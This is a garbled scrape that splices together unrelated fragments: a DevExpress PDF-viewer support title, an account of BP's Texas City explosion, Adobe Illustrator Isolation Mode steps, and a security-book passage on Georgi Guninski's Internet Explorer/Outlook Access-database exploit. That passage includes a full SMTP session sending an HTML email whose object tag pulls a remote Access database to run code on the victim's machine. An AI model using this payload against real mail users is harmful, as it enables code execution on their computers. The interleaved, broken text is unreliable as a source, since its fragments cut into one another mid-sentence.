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T485882 - ASP . NET - PDF Viewer control | DevExpress Support ...
22 Feb 2017 ... Greetings, I have requirement to display a PDF inside an ASP . Net , could be MVC
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wasn t to blame This wasn t some broader failure of Browne s leadership; this was a few bumbling workers who just hadn t followed the rules The mistakes made during the start-up of this unit were surprising and deeply disturbing, said Ross Pillari, the head of BP America at the time9 The attempts to blame workers for the accident infuriated the United Steelworkers union, which represented workers at the plant We knew it wasn t operator error, it was in fact a failure of process, union president Leo Gerard said Federal investigators were disappointed They d hoped that Browne s statements the day after the explosion had meant that the company would take a hard look at the management lapses behind the accident The level that they are trying to put blame on is too low This is something that should be looked at higher up, Glenn Alexander said at the time BP was in full damage-control mode Browne, once the media darling, dodged interview requests while the company oated the trial balloon of the internal investigation No one was fooled Blaming employees as the cause of industrial accidents is a premature stopping point in any investigation, according to guidelines developed by the Center for Chemical Process Safety Errant employees aren t the root cause of an accident but rather a symptom of the cause, the center said10 Ironically, the committee that developed those guidelines was chaired by a BP executive who was involved in the internal probe into the Texas City explosion
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Georgi Guninski didn t stop when he exploited ActiveX tags embedded within HTML email messages to load potentially dangerous ActiveX controls Subsequent advisories posted to his site noted that potentially dangerous Microsoft Office documents could also be launched using the same technique (Office docs behave much like ActiveX controls themselves) These findings are covered at http://wwwguninskicom/sheetex-deschtml (for Excel and PowerPoint documents) and http://wwwguninskicom/access-deschtml (covering launching of Visual Basic for Applications [VBA] code within Access databases) We ll discuss the second of these findings here for two reasons One, the Excel/ PowerPoint issue is actually more interesting for its ability to write files surreptitiously to disk, which we discuss in an upcoming section Second, the Access-based vulnerability is more severe in the opinion of many in the security community because it circumvents any security mechanisms applied to ActiveX by the user That s right, even if ActiveX is completely disabled, you are still vulnerable The severity of this problem was judged to be so great by the SANS Institute that they termed it probably the most dangerous programming error in Windows workstation (all varieties 95, 98, 2000, NT 40) that Microsoft has made (see http://wwwsansorg/newlook/resources/win_flawhtm) The sad part is, this seeming sensationalism may be on target The problem lies in the checks that Windows performs when an Access file (MDB) is loaded within IE from an object tag, as shown in this snippet of HTML proposed by Georgi Guninski:
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To enter Isolation Mode, select the desired artwork and do one of the following: Double-click the grouped object with the Selection tool Right-click (Win) or CTRL+click (Mac) the grouped object and select Isolate Selected Group from the context menu Click the Isolate Selected Group button on the Control panel Select Enter Isolation Mode from the Layers panel options menu To watch a video on working with selections in Isolation Mode, visit wwwadobecom/ designcenter/video_workshop/ id=vid0041
As soon as IE encounters the object tag, it downloads the Access database specified in the data= parameter, and then calls Access to open it It does this before warning the user about the potential for any damage caused by running the database Thus, the database launches whether IE/Outlook/OE has been configured to execute ActiveX controls or not Ugh
To exit Isolation Mode, do any of the following: Double-click an empty space of the artboard with the Selection tool
16:
However, BP didn t get the nal say in the investigation That fell to a little-known federal agency, the Chemical Safety and Hazard Investigation Board (CSB) The CSB was created under the Clean Air Act, an antipollution law passed in 1990 The
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Georgi s exploit relies on a remote file hosted by his web site called db3mdb It is an Access database containing a single form that launches Wordpad Here is another mail hacking capsule demonstrating how this attack would be carried out in practice:
CHAPTER 7:
helo somedomaincom mail from: <mallory@attacknet> rcpt to: <hapless@victimnet> data subject: And another thing! Importance: high MIME-Version: 10 Content-Type: text/html; charset=us-ascii <HTML> <h2>Enticing message here!</h2> <OBJECT data="http://wwwguninskicom/db3mdb" id="d1"></OBJECT> </HTML> quit
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